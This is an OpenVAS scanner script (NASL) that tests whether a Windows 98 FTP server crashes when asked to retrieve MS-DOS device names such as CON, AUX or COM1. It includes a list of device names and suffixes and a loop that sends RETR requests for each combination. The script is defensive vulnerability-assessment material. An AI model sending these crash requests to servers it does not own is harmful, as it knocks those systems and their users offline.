FTP Windows 98 MS/DOS device names DOS

# OpenVAS Vulnerability Test
# $Id: ftp_w98_devname_dos.nasl 8145 2017-12-15 13:31:58Z cfischer $
# Description: FTP Windows 98 MS/DOS device names DOS
#
# Authors:
# Michel Arboi <[email protected]>
# Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
# Erik Anderson <[email protected]>
# Added links to the Bugtraq message archive and Microsoft Knowledgebase
#
# Copyright:
# Copyright (C) 2001 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "It was possible to freeze or reboot Windows by
reading a MS/DOS device through FTP, using
a file name like CON\CON, AUX.htm or AUX.

A cracker may use this flaw to make your
system crash continuously, preventing
you from working properly.";

tag_solution = "upgrade your system or use a
FTP server that filters those names out.

Reference : http://support.microsoft.com/default.aspx?scid=KB;en-us;Q256015
Reference : http://online.securityfocus.com/archive/1/195054";


# This script is a copy of http_w98_devname_dos.nasl. 

if(description)
{
 script_id(10929);
 script_version("$Revision: 8145 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-15 14:31:58 +0100 (Fri, 15 Dec 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(1043);
 script_cve_id("CVE-2000-0168");
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_name("FTP Windows 98 MS/DOS device names DOS");
 


 
 script_category(ACT_KILL_HOST);
  script_tag(name:"qod_type", value:"remote_vul");
 
 
 script_copyright("This script is Copyright (C) 2001 Michel Arboi");
 family = "Denial of Service";
 script_family(family);
 script_dependencies("find_service.nasl", "secpod_ftp_anonymous.nasl");
 script_require_ports("Services/ftp", 21);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("ftp_func.inc");

# The script code starts here

login = get_kb_item("ftp/login");
pass  = get_kb_item("ftp/password");

# login = "ftp";
# pass = "[email protected]";

if (! login) exit(0);

start_denial();

dev[0] = "aux";
dev[1] = "con";
dev[2] = "prn";
dev[3] = "clock$";
dev[4] = "com1";
dev[5] = "com2";
dev[6] = "lpt1";
dev[7] = "lpt2";

ext[0] = ".foo";
ext[1] = ".";
ext[2] = ". . .. ... .. .";
ext[3] = "-";

port = get_kb_item("Services/ftp");
if(!port)port = 21;
if(! get_port_state(port)) exit(0);

soc = open_sock_tcp(port);
if (! soc) exit(0);
r = ftp_recv_line(socket: soc);
ftp_close(socket: soc);
if (! r)
{
  exit(0);
}

 for (i = 0; dev[i]; i = i + 1)
 {
  d = dev[i];
  for (j = 0; ext[j]; j = j + 1)
  {
   e = ext[j];
   if (e == "-")
    name = string(d, "/", d);
   else
    name = string(d, e);
   soc = open_sock_tcp(port);
   if(soc)
   {
    if (ftp_authenticate(socket:soc, user:login, pass:pass))
    {
     port2 = ftp_pasv(socket:soc);
     soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
     req = string("RETR ", name, "\r\n");
     send(socket:soc, data:req);
     if (soc2) close(soc2);
    }
    close(soc);
   }
  }
 }


alive = end_denial();					     
if(!alive)
{
 security_message(port);
 set_kb_item( name:"Host/dead", value:TRUE );
 exit(0);
}

# Check if FTP server is still alive
r = NULL;
soc = open_sock_tcp(port);
if (soc)
{
  r = ftp_recv_line(socket: soc);
  ftp_close(socket: soc);
}

if (! r)
{
  m = "It was possible to kill your FTP server
by reading a MS/DOS device, using
a file name like CON\CON, AUX.htm or AUX.

A cracker may use this flaw to make your
server crash continuously, preventing
you from working properly.

Solution: upgrade your system or use a 
FTP server that filters those names out.";

  security_message(port: port, data: m);
}